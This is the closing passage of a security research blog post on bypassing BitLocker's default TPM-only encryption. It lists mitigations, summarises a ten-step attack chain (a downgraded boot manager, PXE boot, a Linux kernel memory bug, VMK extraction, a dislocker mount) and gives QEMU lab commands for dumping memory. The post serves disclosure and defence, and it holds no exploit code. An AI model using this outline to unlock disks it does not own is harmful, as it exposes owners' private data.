Option 3: apply KB5025885 Microsoft’s official guidance now suggests users manually apply KB5025885. But be warned, this is fairly involved, as it adds new Secure Boot certificates, replaces your bootloader, and revokes old certificates. While this is Microsoft’s planned long-term fix, it’s a complex process and isn’t fully rolled out yet. For preventing this attack, steps 1 and 2 (using a bootloader signed by the 2023 certificate) are sufficient. Blacklisting the 2011 certificate isn’t strictly necessary for this specific vulnerability: The downgrade would still work, but the TPM would refuse to unseal the key, since the Secure Boot certificate differs.

What doesn’t work: Removing the PXE boot option from your UEFI isn’t enough. Many UEFIs automatically add PXE-capable USB network cards, even if they weren’t previously enabled. They have the lowest priority, but if we manually select this from the Windows recovery environment, this doesn’t matter. Disabling the networking stack altogether could help, but attackers might still reset the UEFI to re-enable it, even if password protected. Also, this isn’t the only attack vector for exploiting downgraded boot managers. Other techniques can bypass these measures without relying on PXE.

Blocking the Microsoft 3rd-party Secure Boot certificate doesn’t help either. It would prevent Linux from booting, but that would only block the presented exploitation strategy, not the issue itself. It is also exploitable using any vulnerable Windows driver, of which there are enough. Note: This is default on Lenovo P14s Gen3 and newer as most Lenovo devices are now secured core PCs! See Lenovo Secured-core PC’s.

You can find more information about the security trade-offs in the Microsoft documentation on BitLocker countermeasures. While I disagree with their claim that the default Secure Boot-based TPM config is sufficient against attacks “without much skill or with limited physical access”, their recommendations are otherwise comprehensive and worth exploring. They go a lot deeper than the basic mitigations presented here.

Conclusion

Phew, this was quite involved for such a “simple” idea. But in the end, we get full read/write access to a BitLocker encrypted disk on the default “Device Encryption” BitLocker setup, without any changes to the target system!

The necessary downgrade of the bootloader is fairly easy to perform, but Secure Boot made the exploit more involved than expected, even though it was bypassable at every step. To summarize:

  1. We got an old Windows bootmanager that was vulnerable to the pxesoftreboot bug
  2. We copied the BCD from the target device
  3. We modified the BCD to have a pxesoftreboot recovery option
  4. We pointed that recovery option to a Debian shim
  5. We triggered a PXE boot on the target device into our downgraded Windows boot manager. This unsealed the VMK, the boot failed and caused a fallback to our pxesoftreboot, which booted Debian shim, which in return booted a Debian grub
  6. We set grub to boot an old Debian 5.14 kernel with an Alpine initrd
  7. We exploited the kernel with a known bug to read raw memory
  8. We extracted the VMK
  9. We used dislocker to mount the partition
  10. We can read/write the decrypted Windows partition

So is BitLocker Device Encryption a bad idea? Certainly not. Default hard-drive encryption for home users is a big step forward — any protection is better than none, and it makes “wiping” drives during factory resets straightforward. And once Microsoft rolls out a persistent fix to the downgrade issue, this new default setup will be a lot more secure. There will likely still be attacks against TPM-only setups, but more difficult ones. But right now, without those patches rolled out, it can give a false sense of security.

There’s no widely available exploit tool for this method, and we certainly won’t be publishing one. That said, it seems reasonable to assume that well-resourced parties already have access to such exploits.

Why is this still possible? Can’t we patch the downgrades somehow? Since this post is already quite extensive, I split it up into a companion post: On Secure Boot, TPMs, SBAT and Downgrades — Why Microsoft hasn’t fixed BitLocker yet. If your are at all interested in secure/verified boot, how this exactly combined to create automated unlocks, and why Linux users have been prompted with obscure SBAT errors in the past couple months, I recommend you check it out! It also contains a section on ‘Other attacks against BitLocker’, that shows just how many different vectors there are against TPM-only unlocks.

Please use this research responsibly! Should you have any questions, please reach out to thomas (at) neodyme.io, maybe I can help :)

38C3 Talk - Windows BitLocker — Screwed without a Screwdriver

I presented this research at 38C3. You can find the presentation here: https://media.ccc.de/v/38c3-windows-bitlocker-screwed-without-a-screwdriver

By revealing the content you are aware that third-parties may collect personal information

Some Notes on Debugging with QEMU

I tested all of this in QEMU before running it on real hardware. This was great, since I could dump memory whenever I wanted. But the initial setup was annoying. Here’s what worked for me:

  • Use QEMU with libvirt/virt-manager
  • Windows 11 24H2 as the guest OS:
    • This version greatly simplifies BitLocker activation, automatically enabling it as long as Secure Noot is on and the user is logged into a Microsoft account.
  • Configure QEMU for Secure Boot:
    • The default OVMF variables (EFI configuration) do not include any certificates, so you need to manually enroll Microsoft’s Secure Boot certificates: ovmfctl --input /usr/share/edk2-ovmf/x64/OVMF_VARS.4m.fd --secure-boot --distro-keys windows --output file.fd
    • Enable TPM 2.0
  • Set up PXE boot:
    • edit a bridge network to include the tftp and bootp options in the XML configuration.
  • Dump memory with virsh:
    • Use sudo virsh dump --memory-only win-test /tmp/mem.dmp.
    • Analyse the dump with tools like Volatility-Bitlocker to extract the FVEK (careful: not the VMK!)

You can get the VMK by entering the recovery-password in dislocker with verbose output, which then prints the VMK to the console. Then, you can search the memory dump for the known VMK.

sudo qemu-nbd --connect=/dev/nbd2 win.qcow2
sudo dislocker -vvvv -V /dev/nbd0p3 -p

A final note: specifying the FVEK directly in dislocker can be tricky, as outlined in dislocker/issues/202.